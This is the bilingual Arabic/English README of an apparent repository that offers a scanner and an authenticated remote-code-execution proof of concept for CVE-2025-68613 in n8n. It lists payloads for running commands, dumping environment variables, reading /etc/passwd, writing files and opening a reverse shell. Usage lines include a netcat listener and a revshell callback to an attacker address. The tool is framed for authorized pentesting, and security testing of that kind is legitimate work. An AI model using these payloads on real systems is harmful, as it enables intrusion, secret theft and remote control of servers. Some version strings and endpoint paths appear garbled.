
PoC لاستغلال RCE مصادق عليه وماسح ضوئي للثغرات لـ CVE-2025-68613 في n8n. يدعم تنفيذ الأوامر، وعمليات الملفات، وحمولات الصدفة العكسية لاختبار الأمان المصرح به.
توفر هذه المجموعة أدوات ماسح ضوئي وإثبات مفهوم (PoC) للثغرة الحرجة CVE-2025-68613 في منصة أتمتة سير العمل n8n.
يقدم هذا المستودع نصوص الماسح الضوئي وإثبات المفهوم (PoC) للثغرة الحرجة CVE-2025-68613 التي تؤثر على منصة أتمتة سير العمل n8n.
هذه الأداة مخصصة فقط لاختبارات الأمان المشروعة والمرخصة.
يمنع استخدام هذه الأداة على أي نظام دون إذن المالك.
This tool is ONLY for authorized and legal security testing.
Unauthorized usage is illegal and prohibited.
0.211.0 – 1.120.31.121.01.120.4+1.121.1+1.122.0+.
├── tot-scanner-2025-68613.py # ماسح الثغرات (بدون استغلال)
├── tot-exploit-2025-68613.py # إثبات مفهوم لاستغلال RCE (مصادق)
├── requirements.txt
└── README.md
يستخدم الماسح الضوئي من أجل:
The scanner:
يتحقق الماسح من نقاط النهاية التالية:
//rest/settings/healthz/api/v1/healthالحزم المطلوبة:
محتويات ملف requirements.txt:
requests>=2.28.0
Required packages:
requirements.txt content:
requests>=2.28.0
pip install -r requirements.txt
python3 tot-scanner-2025-68613.py -u http://target.com:5678
python3 tot-scanner-2025-68613.py -u http://target.com:5678 --json
{
"target": "http://target.com:5678",
"detected": true,
"version": "1.121.0",
"vulnerable": true,
"status": "vulnerable",
"cve": "CVE-2025-68613"
}
| Code | المعنى |
|---|---|
| 0 | غير معرض للخطر |
| 1 | الإصدار غير معروف |
| 2 | معرض للخطر |
هذا الاستغلال يتطلب بيانات اعتماد n8n صالحة
مطلوب وصول مصادق عليه
يعمل الاستغلال كالتالي:
Set| الوسيطة | مطلوبة | الوصف |
|---|---|---|
-u / --url | ✅ | رابط n8n الهدف |
-e / --email | ✅ | البريد الإلكتروني لحساب n8n |
-p / --password | ✅ | كلمة مرور حساب n8n |
--payload | ✅ | نوع الحمولة |
--command | ❌ | أمر نظام التشغيل (cmd) |
--file | ❌ | مسار الملف (read/write) |
--content | ❌ | محتوى الملف (write) |
--lhost | ❌ | عنوان المهاجم (revshell) |
--lport | ❌ | منفذ المهاجم (revshell) |
--verify-ssl | ❌ | التحقق من شهادة SSL |
| الحمولة | الوظيفة |
|---|---|
info | معلومات النظام |
cmd | تنفيذ الأوامر |
env | تفريغ متغيرات البيئة |
read | قراءة ملف |
write | كتابة ملف |
revshell | شل عكسي |

python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload info
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload cmd --command "id"
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload read --file /etc/passwd
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload write --file /tmp/pwned.txt --content "owned"
nc -lvnp 4444
python3 tot-exploit-2025-68613.py -u http://target.com:5678 -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444
/rest/*يتم توفير هذا المشروع لأغراض تعليمية واختبارات أمان مرخصة فقط.
المؤلف غير مسؤول عن أي استخدام خاطئ.
n8n
cve
cve-2025-68613
rce
expression-injection
security
pentest
red-team
blue-team
python
ابق قانونيًا. ابق أخلاقيًا.